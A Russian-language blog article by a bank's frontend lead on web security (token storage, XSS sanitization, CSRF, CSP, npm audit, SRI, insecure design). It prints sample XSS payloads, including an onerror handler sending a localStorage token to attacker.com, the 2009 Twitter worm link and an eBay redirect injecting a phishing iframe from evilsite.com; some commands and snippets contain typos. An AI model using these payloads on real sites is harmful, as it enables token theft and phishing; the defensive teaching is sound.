Реальные уязвимости современных WEB-приложений: что нужно учитывать разработчикам

Практические примеры и ошибки, которые совершают даже опытные разработчики

«Хранить токен в localStorage — нормально», «У нас React, XSS нам не страшен», «У нас HTTPS, значит всё безопасно».

Это одни из самых распространённых заблуждений в современной веб-разработке.

Меня зовут Владимир Стариков, я Tech Lead Frontend в AO «Bereke Bank».

  • 6 лет опыта в веб-разработке, из них 5 лет — в финтех-проектах.
  • специализация: frontend-архитектура и безопасность web-приложений.
  • работает с React, Next.js и микрофронтендами.
  • занимается аудитом и повышением безопасности клиентских приложений.

В первые годы работы я практически не задумывался о безопасности фронтенда. Казалось, что уязвимости — это зона ответственности backend-разработчиков и DevOps.

Фронтенд воспринимался как UI-слой: интерфейсы, компоненты, немного бизнес-логики.

Со временем стало понятно: фронтенд — это одна из самых уязвимых точек всей системы.

Современные приложения — это уже не просто HTML и CSS. Это:

  • SSR-приложения на Next.js;
  • микрофронтенды;
  • десятки и сотни NPM-зависимостей;
  • интеграции со сторонними сервисами.

Каждая такая зависимость — потенциальная точка атаки. А supply-chain атаки через npm уже давно стали одной из самых популярных лазеек для злоумышленников.

Когда я начал глубже разбираться в теме, стало очевидно: советов уровня «не использовать dangerouslySetInnerHTML» недостаточно.

В этой статье я разберу несколько распространённых уязвимостей, с которыми сталкиваются современные web-приложения, и дам практические рекомендации, как снизить риски.

Материал будет полезен:

  • junior и middle разработчикам — чтобы не наступать на типичные ошибки;
  • senior инженерам — как чек-лист для аудита собственных проектов.

Примеры приведены на React, но большинство рекомендаций актуальны для любого фронтенд-фреймворка.

Главный принцип веб-безопасности прост: лучшая уязвимость — та, которой нет.

Где безопаснее хранить токен?

Чаще всего разработчики выбирают между двумя вариантами:

  • LocalStorage;
  • Cookies.

Но у каждого из них есть свои особенности безопасности.

LocalStorage

Плюсы

  • простой доступ из JavaScript;
  • удобно передавать токен в Authorization header;
  • данные сохраняются даже после закрытия вкладки.

Минусы

  • уязвимость к XSS-атакам;
  • любой выполненный JS-код может прочитать токен;
  • нет флага HttpOnly.

Cookies

Плюсы

  • HttpOnly — токен недоступен из JavaScript;
  • Secure — передача только по HTTPS;
  • SameSite — защита от CSRF;
  • можно ограничить домен и путь.

Минусы

  • при неправильной настройке возможны CSRF-атаки;
  • cookie отправляется с каждым запросом автоматически;
  • XSS всё равно может выполнять действия от имени пользователя.

Ключевая мысль

Если приложение уже подверглось XSS-атаке, cookie полностью не спасёт.Но значительно ограничит масштаб ущерба, поскольку токен нельзя просто прочитать через JS.

Sanitize it all

Санитизация — это очистка пользовательских данных от потенциально опасного кода.

Если её нет, злоумышленник может внедрить собственный JavaScript, который будет выполняться в браузере пользователей.

Пример уязвимого компонента

export const Comment = ({ text }) => {
  return (
    <div
      dangerouslySetInnerHTML={{ __html: text }}
    />
  )
}

Если злоумышленник отправит такой комментарий:

src="invalid" onerror="fetch('https://attacker.com?token=' + localStorage.getItem('token'))" />

то любой пользователь, открывший страницу, отправит свой токен злоумышленнику.

Если токен хранится в HttpOnly cookie — его нельзя прочитать напрямую.Но злоумышленник всё равно сможет:

  • отправлять запросы от имени пользователя;
  • читать ответы API;
  • подменять интерфейс;
  •  API;
  • Подменять UI.

Важно понимать

Уязвимость может появиться не только в вашем компоненте.

Например, если вы:

  • рендерите HTML с backend;
  • используете WYSIWYG-редактор;
  • доверяете сторонним источникам.

Во всех этих случаях граница доверия переносится внутрь вашего приложения.

Как обезопасить себя?

Нужно предпринять комплекс мер:

  1. Никогда не вставляйте HTML без строгой необходимости;
  2. Санитизируйте любой внедряемый код (например с помощью DOMPurify);
  3. Настройте Content-Security Policy в заголовках (об этом чуть позже).

Пример санитизации:

import DOMPurify from "dompurify";

export const Comment = ({ text }) => {
  const cleanHtml = DOMPurify.sanitize(text);

  return (
    <div
      dangerouslySetInnerHTML={{ __html: cleanHtml }}
    />
  );
};

Публичный кейс: Twitter Worm (2009)

В 2009 году в Twitter появилась XSS-уязвимость, которая позволила создать настоящий червь внутри социальной сети.

Злоумышленник встроил событие onmouseover в ссылку.

Когда пользователь наводил курсор:

  • автоматически публиковался твит;
  • код распространялся дальше.

Причина оказалась неожиданной:символ @ ломал HTML-парсер Twitter, что позволило обойти фильтрацию.

Пример вредоносного кода:

http://lol.no/@";onmouseover=";$('textarea:first').val(this.innerHTML);
$('.status-update-form').submit();"class="modal-overlay"/

Теперь если вы наводили курсор на эту ссылку, вы публиковали тот же самый контент.

Публичный кейс: eBay (2015-2016)

eBay поддерживал параметр запроса redirectTo. Проблема заключалась в том, что страницы, на которые можно было выполнить перенаправление, не обязательно проверяли параметры запроса в URL, на который перенаправлялся пользователь - что позволяло осуществлять XSS-атаки.

Пример: Злоумышленник создает копию страницы авторизации, которая имитирует оригинал от eBay (за исключением адресной строки, замену которой вряд-ли заметит рядовой пользователь). Далее задача злоумышленника внедрить примерно такой код: document.write('<iframec="http://evilsite.com/ebay/signin.ebay.com/ws/eBayISAPI9f90.html&#8221; width="1500″ height="1000″>')

И он прекрасно с этим справляется с помощью вредоносной ссылки и redirectTo от eBay:

http://ebay.com/link/?nav=webview&redirectTo=javascript:document.write%28%27%3Ciframe%20src=%22http://evilsite.com/ebay/signin.ebay.com/ws/eBayISAPI9f90.html%22%20width=%221500%22%20he

Невнимательный пользователь вводит свои учетные данные и получает ошибку… хотя его данные уже улетели на сервер злоумышленника.

Защищайтесь от CSRF атак

CSRF (Cross-Site Request Forgery) — атака, при которой злоумышленник заставляет браузер пользователя выполнить запрос к сайту.

Если защита отсутствует, можно:

  • изменить настройки аккаунта;
  • совершить покупку;
  • перевести деньги.

Почему это работает? Потому что cookie автоматически отправляются браузером.

Пример:

Пользователь авторизован в банке.

Злоумышленник размещает на своём сайте форму:

Браузер автоматически прикладывает cookie.

Сервер думает, что запрос отправил пользователь.

Как воспроизвести и обнаружить?

Представим, что у вас есть форма с таким POST запросом смены email.

POST /change-email
Cookie: session=abc123

В теле запроса:

email=hacker@mail.com

если в самой форме нет CSRF-токена, то с большой вероятностью вы уже уязвимы.

Вашу страницу можно будет скомпрометировать через обычный HTML.

Признаки CSRF-уязвимости

  • отсутствует CSRF-токен;
  • токен не связан с сессией;
  • GET-запросы изменяют данные.

Как исправить

  • добавить CSRF-токен;
  • настроить SameSite для cookie;
  • проверять Origin и Referer;
  • не использовать GET для изменения состояния;
  • использовать JWT вместо cookie-сессии.

Кейс: захват аккаунта TikTok (2020)

Один из эндпоинтов TikTok, отвечающий за сброс пароля, оказался уязвим к CSRF.

Это позволяло изменить пароль пользователя буквально в один клик.

Content Security Policy

CSP — механизм браузерной защиты, позволяющий указать: какой код разрешено выполнять, а какой — нет.

Основные принципы

  • allowlist доменов;
  • директивы (script-src, style-src);
  • отчёты о нарушениях.

Где настраивать CSP

Правильно — через HTTP заголовок:

Content-Security-Policy: script-src 'self' https://trusted.cdn.com

Допустимо — через <meta> в <head> вашего HTML

http-equiv="Content-Security-Policy"
      content="script-src 'self' https://trusted.cdn.com">

В этом примере мы разрешаем загрузку скриптов только с нашего домена и домена trusted.cdn.com

Однако в случае с meta-тегом этот способ не дает полной защиты, и имеет свои недостатки и ограничения. Но это в любом случае лучше чем ничего.

Важный нюанс

CSP не дает нам защиту по умолчанию. Очень часто можно встретить такую конфигурацию:

script-src 'self' 'unsafe-inline'

Наличие 'unsafe-inline' фактически разрешает выполнение встроенных скриптов и значительно снижает ценность CSP.

Пример строгого CSP

Пример более жёсткой политики.

Что здесь важно:

  • default-src 'none' — по умолчанию браузеру запрещено загружать любые ресурсы, если для них явно не указана директива;
  • frame-ancestors 'none' — запрещает встраивать наше приложение в iframe;
  • Мы блокируем опасные функции в JS (eval, new Function, и т.д);
  • В случае удачной XSS атаки мы значительно усложняем жизнь злоумышленнику.

Проверить работу CSP можно через DevTools.

Откройте консоль и попробуйте выполнить:

eval("alert('hello!')")

Если вышла ошибка вроде этой:

значит политика действительно блокирует выполнение динамического кода.

Интересно и то, что подобную политику ставят себе многие бигтех компании (попробуйте выполнить этот код в консоли в YouTube или X).

Когда я впервые посмотрел на нашу CSP-политику, я увидел, что формально она существовала. Но по факту не обеспечивала максимальной защиты. В ней были разрешены inline-скрипты и загрузка ресурсов с внешних доменов - то есть технически CSP был настроен, но на практике не ограничивал почти ничего.

Проверить безопасность заголовков в запросах вашего приложения вы можете онлайн c помощью сервиса от Snyk.

Регулярно проверяйте зависимости

Без инструментов вроде DerScanner, Snyk и NPM Audit риск наличия уязвимостей в зависимостях значительно возрастает. Библиотеки во фронтенде обновляются чуть ли не каждый день, и не всегда это новые фичи. Порой обновления связаны с дырами в безопасности, и, к счастью, разработчики NPM позаботились об этом.

Достаточно ввести в своем проекте такую команду:

npm audit

И консоль выдаст вам все проблемные библиотеки и информацию о патчах.

Пример отчета от NPM Audit.

В таких случаях рекомендуется обновлять библиотеки вручную, либо используя команду:

npx audit fix

Обновляет до безопасных версий в рамках semver

npm audit fix -force

Может обновить до мажорных версий, но сломать API

В случае если в библиотеке найдена уязвимость, но патча еще нет, есть несколько вариантов:

  • Найти альтернативу;
  • Форк с патчем + Git URL;
  • Как временное решение использовать patch-package, и самому исправить код в node_modules.

По своему опыту могу сказать, что в моих проектах уязвимость уровня high в зависимостях появляется примерно раз в квартал. Именно поэтому важно регулярно проверять и обновлять зависимости, делая это аккуратно и с учетом обратной совместимости. Некоторые уязвимости в библиотеках позволяют проводить supply-chain атаки. Уязвимости такого рода особенно опасны тем, что одна зараженная библиотека может попасть сразу в тысячи других проектов.

Используйте Subresource Integrity (SRI)

Subresource Integrity — это механизм безопасности в браузере, который проверяет, не был ли подменен наш файл.

В основном SRI защищает нас от подмены файлов на CDN и MITM атак.

Рассматривайте его как дополнительный уровень защиты, особенно, если используете аналитику и другие сторонние виджеты.

Как это выглядит:

<script
  src="https://cdn.example.com/library.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxRzJk..."
  crossorigin="anonymous">
script>

Пример скрипта с SRI

Как защищает:

  • Браузер скачивает файл;
  • Считает его криптографический хеш;
  • Сравнивает с тем, что указан в integrity;
  • Если хеши не совпадают — ресурс блокируется.

Вы можете подключить SRI в свой проект используя подходящие библиотеки для вашего сборщика:

Для webpack: webpack-subresource-integrity

Для Vite: vite-plugin-csp-guard

Insecure Design

Insecure Design — это класс уязвимостей, связанных с ошибками в проектировании системы: непродуманной бизнес-логикой, отсутствием ограничений и недостаточным учётом сценариев злоупотребления.

Особенность в том, что:

  • её сложно выявить сканером;
  • она часто проявляется только при анализе бизнес-процессов;
  • эксплуатация может быть полностью легальной.

По данным OWASP Top 10, Insecure Design занял 6-е место в 2025 году, являясь одной из самых распространенных уязвимостей.

Пример уязвимости

Представим сервис покупки билетов в кино:

  • Пользователь может забронировать до 6 мест;
  • Бронь действует 5 минут до оплаты;
  • После выхода из приложения бронь не отменяется;
  • Нет ограничения на общее количество активных броней на пользователя.

Что произойдет:

  • Злоумышленник может забронировать весь кинотеатр вручную.
  • Если злоумышленник перехватит запрос, то в таком он случае он зарезервирует весь зал за несколько минут.

В итоге клиенты не могут купить место, а бизнес потерпел большой финансовый ущерб и репутационный удар.

Решение

  • Использовать Rate Limit (ограничение на кол-во запросов).
  • Жесткое ограничение броней на аккаунт.
  • Освобождение мест при разрыве сессии (логаут).

С подобной уязвимостью я сталкивался неоднократно. Как фронтендер я в основном не мог технически исправить проблему, но мог выявить риск на этапе разработке и предупредить команду о потенциальной уязвимости.

Вывод

Веб-безопасность — это не набор отдельных правил.

Это образ мышления разработчика.

Современные фронтенд-приложения взаимодействуют:

  • с API;
  • с пользовательскими данными;
  • с сотнями сторонних библиотек.

Фронтенд давно перестал быть просто UI.

Сегодня это полноценная часть системы, подверженная тем же угрозам, что и backend.

И главный принцип остаётся прежним:

Лучшая уязвимость — та, которой нет.